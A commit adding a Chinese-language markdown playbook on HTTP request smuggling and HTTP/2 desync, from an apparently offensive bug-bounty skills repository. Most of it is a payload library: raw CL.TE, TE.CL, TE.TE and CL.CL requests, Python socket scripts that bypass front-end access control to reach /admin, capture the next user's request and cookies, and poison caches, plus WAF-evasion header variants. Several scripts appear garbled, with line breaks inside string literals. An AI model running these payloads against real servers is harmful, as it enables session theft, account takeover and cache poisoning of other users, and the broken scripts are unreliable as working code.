reverse-skills-max: initial public release (restored, redacted, hardened)

This commit is contained in:
baradok609hecl1pq6qi
2026-10-20 02:17:15 +03:00
commit da24c2bd20
2227 changed files with 443931 additions and 0 deletions

View File

@@ -0,0 +1,924 @@
# HTTP Request Smuggling / HTTP/2 Desync
> 视角:黑盒,目标是利用前后端解析差异
## 1. 一句话说清
前置代理(CDN / WAF / Nginx)和后端服务器对 `Content-Length` / `Transfer-Encoding` 解析不一致 →
攻击者把"半包"塞进流,影响下个用户的请求/响应。
SRC 价值:成功的 desync = P1/P0($2k–$10k+)。
---
## 2. 类型速览
| 类型 | 前置代理用 | 后端用 |
|------|----------|------|
| **CL.TE** | Content-Length | Transfer-Encoding |
| **TE.CL** | Transfer-Encoding | Content-Length |
| **TE.TE** | 都看,但前后处理混淆 | 同 |
| **HTTP/2 → HTTP/1 desync** | h2 | h1 后端 |
| **CL.0** | CL=0 后端忽略 | 后端读 body |
---
## 3. 探测手法
### 3.1 工具
```bash
# Burp 扩展
HTTP Request Smuggler
# 命令行
smuggler.py -u https://target -v
http2smugl quirks --target target.com:443
h2csmuggler -u https://target/ --path /admin
```
### 3.2 经典 PoC
#### CL.TE
```
POST / HTTP/1.1
Host: victim
Content-Length: 6
Transfer-Encoding: chunked
0
G
```
前端按 CL=6 读了 `0\r\n\r\nG`,后端按 chunked 看到 `0\r\n\r\n` 结束,剩下 `G` 进入下一个请求。
#### TE.CL
```
POST / HTTP/1.1
Host: victim
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
...
0
```
#### 双 CL
```
POST / HTTP/1.1
Host: victim
Content-Length: 4
Content-Length: 1
GPOST...
```
#### CL.0(HTTP/2 时常见)
后端忽略 CL(POST 当 GET 处理),前端按 CL 取走 body → 走私。
#### h2c smuggling
```bash
h2csmuggler -u http://target/ --path /admin
# 利用 HTTP/1.1 → HTTP/2 升级让前置代理失效
```
---
## 4. Bypass 矩阵
| 拦 | 绕 |
|---|---|
| 标准 CL/TE 检测 | TE 大小写:`Transfer-encoding`、`transfer-Encoding` |
| TE 拦 | TE 末尾加空格:`Transfer-Encoding : chunked` |
| WAF 检测 | TE 值变形:`chunked`、`chunked,gzip`、`xchunked` |
| 标准 chunk 拦 | 0 大小 chunk 后塞数据 |
| h2 关闭 | h2c upgrade |
---
## 5. 利用提权 / 横向
```
1. 缓存投毒:让代理把恶意响应缓存为另一 URL
2. 跨用户访问:把 admin 端点的响应"借"给下个用户
3. 旁路 IP 限制:用走私走过 IP 校验
4. 偷 secret:让别人的请求 + 自己的响应混合
5. XSS(缓存了走私响应)
```
---
## 6. 真实案例指纹
- PortSwigger blog 系列(James Kettle)
- Cloudflare / Akamai 多次披露
- HackerOne H1 上 desync 报告 $5k–$30k
通用指纹:
- 同一连接发 2 个请求,第 2 个响应"看起来是别的请求的"
- 偶尔 503 / 502 / 异常 status code
- 代理日志和后端日志请求数对不上
---
## 7. 复现 / 证据要点
### 7.1 PoC
```
# 在 Burp Repeater 用 raw 模式发送下面包(保留 CRLF)
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0\r\n\r\nG
# 立即第二个请求(同连接,Burp Repeater 同样栏)
GET / HTTP/1.1
Host: target.com
→ 第二个响应应当反映前一次走私的 'G' 前缀
```
### 7.2 CVSS
```
HTTP smuggling → 缓存投毒 = 8.1 High
HTTP smuggling → 旁路鉴权 = 9.1 Critical
HTTP smuggling → 跨用户 = 8.1 High
```
---
## 8. 不要做的事
- **禁**:在生产上做大流量 desync 测试(影响他人请求)。低速、单次验证。
- **禁**:把走私构造的恶意响应缓存到全站共享路径(其他用户会受影响)。在你自己的 cache key 上演示。
- **禁**:实际偷取他人 cookie / token。看到 desync 现象即停。
## H1 真实案例
_共 38 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|---|--:|---|---|---|
| High | 20000 usd | PayPal | [Bypass for #488147 enables stored XSS on https://paypal.com/signin again](https://hackerone.com/reports/510152) | Bypass for #488147 enables stored XSS on https://paypal.com/signin again |
| High | 18900 usd | PayPal | [Stored XSS on https://paypal.com/signin via cache poisoning](https://hackerone.com/reports/488147) | Stored XSS on https://paypal.com/signin via cache poisoning |
| Critical | — | Slack | [Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies](https://hackerone.com/reports/737140) | Hi Slack Security Team! My name is Evan and I'm a first time bug hunter to your platform :) Because you guys were running a mon… |
| High | — | LY Corporation | [Request smuggling on admin-official.line.me could lead to account takeover](https://hackerone.com/reports/740037) | Request smuggling on admin-official.line.me could lead to account takeover |
| Critical | — | Eternal | [Stealing Zomato X-Access-Token: in Bulk using HTTP Request Smuggling on api.zomato.com](https://hackerone.com/reports/771666) | Intro Hi Zomato Security Team! My name is Evan Custodio and this is my first time evaluating your platform. I specialize in loo… |
| Critical | 7500 usd | Basecamp | [HTTP Request Smuggling via HTTP/2](https://hackerone.com/reports/1211724) | HTTP Request Smuggling via HTTP/2 |
| High | — | Helium | [HTTP request Smuggling](https://hackerone.com/reports/867952) | When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web … |
| Critical | 6000 usd | Cloudflare Public Bug Bounty | [HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() func…](https://hackerone.com/reports/1478633) | HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() function |
| High | 750 usd | GSA Bounty | [HTTP Request Smuggling on https://labs.data.gov](https://hackerone.com/reports/726773) | Greetings, The application appears to be vulnerable to HTTP request smuggling due to a disagreement between the front-end and b… |
| High | 4660 usd | Internet Bug Bounty | [Possibility of Request smuggling attack](https://hackerone.com/reports/2280391) | Request smuggling was possible by throwing an IOException with the upper size limit of the trailer header |
| High | — | Node.js | [HTTP Request Smuggling due to CR-to-Hyphen conversion](https://hackerone.com/reports/922597) | NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, th… |
| Critical | 5000 usd | Aiven Ltd | [Grafana RCE via SMTP server parameter injection](https://hackerone.com/reports/1200647) | Summary: This report is similar to #1180653, except with different parameter injection entrypoint |
**命中本类的 weakness 分布:**
- HTTP Request Smuggling:27 条
- CRLF Injection:5 条
- Uncategorized → 手工归类:4 条
- HTTP Response Splitting:2 条
## Payload 库
_4 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
### CL-TE请求走私 `smuggling-cl-te`
Content-Length与Transfer-Encoding走私
子类:**CL-TE** · tags: `smuggling` `request` `http`
**前置条件:** 目标使用多层代理;前后端处理差异
**攻击链:**
**1. CL-TE基础**
_CL-TE走私_
```
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
```
**2. TE-CL基础**
_TE-CL走私_
```
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
```
**3. TE-TE**
_TE-TE走私_
```
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: x
0
SMUGGLED
```
**WAF/EDR 绕过变体:**
**1. TE头混淆变体**
_通过在Transfer-Encoding头中添加空格、制表符、换行符、多重头部、拼写变体等方式使前后端代理对该头的解析产生差异,触发请求走私_
```
# TE头混淆(使前/后端对TE解析不一致):
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
X: x
Transfer-Encoding: chunked
Transfer-Encoding
: chunked
```
**2. Chunked扩展字段与CL-TE组合利用**
_利用HTTP Chunked编码的扩展字段(分号后内容)干扰解析,或通过CL-0技巧使前端认为请求无体而后端继续处理走私的第二个请求_
```
# Chunked扩展字段(RFC允许的分号后扩展):
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0;ext="injected"
G
# CL-0走私:
POST / HTTP/1.1
Host: target.com
Content-Length: 0
Transfer-Encoding: chunked
GET /admin HTTP/1.1
Host: target.com
```
---
### CL-CL走私 `smuggling-cl-cl`
利用前端代理和后端服务器同时处理Content-Length头但对多个CL头的处理差异实现HTTP请求走私
子类:**CL-CL** · tags: `smuggling` `cl-cl` `http`
**前置条件:** 存在前端代理(如HAProxy/Nginx)+后端服务器架构;两端对Content-Length头的解析存在差异;理解HTTP请求走私原理
**攻击链:**
**1. 检测CL-CL走私条件** _[linux]_
_探测目标是否存在双CL走私条件_
```
# 检测前端代理类型:
curl -sI "http://target.com/" | grep -iE "server:|via:|x-forwarded"
# 发送包含两个Content-Length的请求:
curl -v "http://target.com/" -H "Content-Length: 6" -H "Content-Length: 0" -d "test12"
# 观察响应:
# - 如果正常返回: 可能只解析了一个CL
# - 如果400/错误: 服务器拒绝多CL(安全)
# - 如果部分处理: 存在走私可能
```
**2. CL-CL请求走私POC**
_构造包含两个Content-Length的走私请求,将恶意请求注入到后端处理队列_
```
# Python POC - CL-CL走私
import socket
def smuggle_cl_cl(host, port):
payload = (
"POST / HTTP/1.1
"
f"Host: {host}
"
"Content-Length: 44
" # 前端使用这个CL
"Content-Length: 0
" # 后端使用这个CL
"
"
"GET /admin HTTP/1.1
" # 走私的请求
f"Host: {host}
"
"
"
)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
resp = s.recv(4096).decode(errors="ignore")
print(resp)
s.close()
smuggle_cl_cl("target.com", 80)
```
**3. 利用CL-CL走私绕过前端访问控制**
_利用CL-CL走私绕过前端代理的ACL访问限制访问/admin_
```
# 场景:前端限制/admin访问,通过走私绕过
import socket
def bypass_acl(host, port):
# 走私请求到/admin端点
smuggled = (
"GET /admin HTTP/1.1
"
f"Host: {host}
"
"
"
)
content_length_real = len(smuggled)
payload = (
"POST / HTTP/1.1
"
f"Host: {host}
"
f"Content-Length: {content_length_real}
"
"Content-Length: 0
"
"Connection: keep-alive
"
"
"
+ smuggled
)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
# 接收两个响应
resp = s.recv(8192).decode(errors="ignore")
print("[Response 1 - Normal]")
print(resp[:500])
resp2 = s.recv(8192).decode(errors="ignore")
print("[Response 2 - Smuggled /admin]")
print(resp2[:500])
s.close()
bypass_acl("target.com", 80)
```
**WAF/EDR 绕过变体:**
**1. HTTP/2降级绕过**
_利用HTTP/2到HTTP/1.1协议降级时前后端对请求边界解析不一致实现走私_
```
# HTTP/2 -> HTTP/1.1降级利用
# 前端H2后端H1时的走私
:method: POST
:path: /
:authority: target.com
content-length: 0
GET /admin HTTP/1.1
Host: target.com
# H2C升级走私
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: <base64>
Connection: Upgrade, HTTP2-Settings
```
**2. 连接复用操控**
_通过双Content-Length头值差异和keep-alive连接复用在代理链中走私请求_
```
# 双CL值差异
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Content-Length: 50
12345GPOST /admin HTTP/1.1
Host: target.com
# 利用keep-alive连接复用
GET / HTTP/1.1
Host: target.com
Connection: keep-alive
Content-Length: 0
GET /admin HTTP/1.1
Host: internal.target.com
```
**3. 代理链混淆**
_利用多级代理对Content-Length头中空格和冒号处理差异实现请求走私_
```
# 多级代理CL处理差异
POST / HTTP/1.1
Host: target.com
Content-Length: 44
Content-Length : 0
GET /admin HTTP/1.1
Host: target.com
X: 1
# 空格混淆CL头
POST / HTTP/1.1
Host: target.com
Content-Length: 0
Content-Length: 42
GET /internal HTTP/1.1
Host: target.com
```
---
### TE-CL走私 `smuggling-te-cl`
利用前端使用Transfer-Encoding而后端使用Content-Length的差异实现HTTP请求走私
子类:**TE-CL** · tags: `smuggling` `te-cl` `http`
**前置条件:** 前端代理优先处理Transfer-Encoding;后端服务器优先处理Content-Length;理解chunked编码格式
**攻击链:**
**1. 检测TE-CL差异**
_检测前端和后端对TE vs CL的优先级差异_
```
# 发送同时包含TE和CL的请求:
curl -v "http://target.com/" -H "Transfer-Encoding: chunked" -H "Content-Length: 3" -d "0
"
# 使用timing检测:
# 如果后端使用CL,会等待更多数据(超时)
import socket, time
s = socket.socket()
s.connect(("target.com", 80))
payload = (
"POST / HTTP/1.1
"
"Host: target.com
"
"Transfer-Encoding: chunked
"
"Content-Length: 6
"
"
"
"0
"
)
s.send(payload.encode())
start = time.time()
resp = s.recv(4096)
elapsed = time.time() - start
print(f"Response in {elapsed:.2f}s")
# 快速响应=后端用TE, 延迟响应=后端用CL
```
**2. TE-CL走私POC**
_TE-CL走私:前端按chunked处理转发整个body,后端按CL只读取部分,剩余变为走私请求_
```
import socket
def te_cl_smuggle(host, port):
# 前端(TE): 读取到"0
"结束 → 整个payload是一个请求
# 后端(CL): 只读取Content-Length指定的字节 → 剩余字节是新请求
smuggled = "GET /admin HTTP/1.1
Host: {}
".format(host)
payload = (
"POST / HTTP/1.1
"
"Host: {}
"
"Content-Length: 4
"
"Transfer-Encoding: chunked
"
"
"
"{}
"
"{}"
"0
"
).format(host, format(len(smuggled), "x"), smuggled)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
resp = s.recv(4096)
print(resp.decode(errors="ignore")[:500])
s.close()
te_cl_smuggle("target.com", 80)
```
**3. TE-CL走私实现请求劫持**
_走私不完整的POST请求,使下一个用户的请求内容(含Cookie)被反射到搜索结果中_
```
# 利用走私劫持下一个用户的请求
import socket
def hijack_request(host, port):
# 走私一个不完整的POST请求
# 下一个正常用户的请求会被拼接为这个POST的body
smuggled = (
"POST /search HTTP/1.1
"
"Host: {}
"
"Content-Type: application/x-www-form-urlencoded
"
"Content-Length: 200
" # 大CL会吞噬下一个请求
"
"
"q=" # 下一个请求的数据会被当作搜索参数
).format(host)
chunk_size = format(len(smuggled), "x")
payload = (
"POST / HTTP/1.1
"
"Host: {}
"
"Content-Length: 4
"
"Transfer-Encoding: chunked
"
"
"
"{}
"
"{}"
"0
"
).format(host, chunk_size, smuggled)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
print(s.recv(4096).decode(errors="ignore")[:500])
s.close()
hijack_request("target.com", 80)
```
**WAF/EDR 绕过变体:**
**1. TE头大小写变体绕过**
_利用不同代理对Transfer-Encoding头名大小写和值处理的差异绕过TE-CL走私检测_
```
# TE头大小写混淆
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
5c
GPOST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
# Transfer-Encoding变体
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
```
**2. 空白字符注入**
_在Transfer-Encoding头中注入制表符、前导空格和CRLF字符,使不同代理解析不同_
```
# 制表符/换行注入TE头
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding:\tchunked
# 行前空格混淆
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
# CRLF注入变体
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked\x0d\x0aX-Ignore: x
```
**3. chunk扩展字段利用**
_利用HTTP分块传输中chunk-extension字段和非标准chunk大小格式造成前后端解析差异_
```
# chunk扩展混淆
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
5;ext=val
hello
0
# 超长chunk扩展
5;aaaaaaa...aaaa=bbbb...bbb
hello
0
# 非法chunk大小格式
5
hello
0
# 0x前缀
0x5
hello
0
```
---
### TE-TE走私 `smuggling-te-te`
利用前端和后端对Transfer-Encoding头的不同混淆变体的处理差异实现请求走私
子类:**TE-TE** · tags: `smuggling` `te-te` `http`
**前置条件:** 前后端都支持Transfer-Encoding;可以通过TE头混淆使一端忽略TE;了解chunked编码和HTTP走私原理
**攻击链:**
**1. TE混淆变体探测**
_测试各种Transfer-Encoding混淆变体,寻找前后端解析差异_
```
# Transfer-Encoding的各种混淆写法:
# 测试哪种混淆能让一端忽略TE
import socket
te_variants = [
"Transfer-Encoding: xchunked",
"Transfer-Encoding : chunked", # 冒号前空格
"Transfer-Encoding: chunked
Transfer-encoding: cow", # 两个TE
"Transfer-Encoding : chunked", # Tab分隔
"Transfer-Encoding: chunked", # Tab前缀
" Transfer-Encoding: chunked", # 行首空格
"X: x
Transfer-Encoding: chunked", # Header注入
"Transfer-Encoding: chunked", # 空字节
]
for i, te in enumerate(te_variants):
print(f"[{i}] Testing: {te[:60]}")
payload = (
"POST / HTTP/1.1
"
"Host: target.com
"
f"{te}
"
"Content-Length: 5
"
"
"
"0
"
)
try:
s = socket.socket()
s.settimeout(3)
s.connect(("target.com", 80))
s.send(payload.encode())
resp = s.recv(1024).decode(errors="ignore")
status = resp.split("
")[0] if resp else "No response"
print(f" → {status}")
s.close()
except Exception as e:
print(f" → Error: {e}")
```
**2. TE-TE走私利用(前端忽略混淆TE)**
_利用TE头混淆使一端按CL、另一端按TE处理,实现走私_
```
import socket
def te_te_smuggle(host, port, te_header):
# 前端不识别混淆的TE → 使用CL
# 后端识别混淆的TE → 使用chunked
smuggled = "GET /admin HTTP/1.1
Host: {}
".format(host)
payload = (
"POST / HTTP/1.1
"
"Host: {}
"
"Content-Length: {}
"
"{}
"
"
"
"0
"
"
"
"{}"
).format(
host,
len("0
" + smuggled),
te_header,
smuggled
)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
resp = s.recv(4096)
print(resp.decode(errors="ignore")[:500])
s.close()
# 使用发现的有效混淆变体:
te_te_smuggle("target.com", 80, "Transfer-Encoding: chunked
Transfer-encoding: cow")
```
**3. TE-TE缓存投毒攻击**
_利用TE-TE走私实现Web缓存投毒攻击_
```
import socket
def cache_poison_via_smuggling(host, port):
# 通过走私实现缓存投毒:
# 走私的请求指向静态资源,但包含恶意响应头/内容
smuggled = (
"GET /static/main.js HTTP/1.1
"
"Host: {}
"
"
"
).format(host)
# 先发送走私请求
payload = (
"POST / HTTP/1.1
"
"Host: {}
"
"Content-Length: {}
"
"Transfer-Encoding: chunked
"
"Transfer-encoding: x
"
"
"
"0
"
"
"
"{}"
).format(host, len("0
" + smuggled), smuggled)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
resp = s.recv(4096)
print("[*] Cache poisoned")
print(resp.decode(errors="ignore")[:300])
s.close()
cache_poison_via_smuggling("target.com", 80)
```
**WAF/EDR 绕过变体:**
**1. 多重TE头混淆**
_发送多个Transfer-Encoding头或逗号分隔多值,利用前后端对多值TE头的优先级差异_
```
# 多个Transfer-Encoding头
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: identity
Transfer-Encoding: chunked
# 逗号分隔多值
Transfer-Encoding: chunked, identity
Transfer-Encoding: identity, chunked
# 混合有效无效值
Transfer-Encoding: chunked
Transfer-Encoding: cow
Transfer-Encoding: chunked
```
**2. 非标准TE值混淆**
_使用非标准或被篡改的Transfer-Encoding值,使前端代理回退到CL而后端仍解析为chunked_
```
# 垃圾TE值使某些代理忽略TE
Transfer-Encoding: xchunked
Transfer-Encoding: chunked-false
Transfer-Encoding: chunk
Transfer-Encoding: CHUNKED
# 引号包裹
Transfer-Encoding: "chunked"
# 参数附加
Transfer-Encoding: chunked; q=0.5
Transfer-Encoding: chunked, x
# 编码混淆
Transfer-\x45ncoding: chunked
```
**3. 代理特定解析绕过**
_针对特定代理/服务器(HAProxy/Apache/Nginx)的TE头解析特性发送定制化走私payload_
```
# HAProxy特定绕过
POST / HTTP/1.1
Host: target.com
Transfer-Encoding:[\x0b]chunked
# Apache特定绕过
POST / HTTP/1.1
Host: target.com
Transfer-Encoding:\x00chunked
# Nginx特定绕过
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked\x20
# 通用尾部空白
Transfer-Encoding: chunked
```
---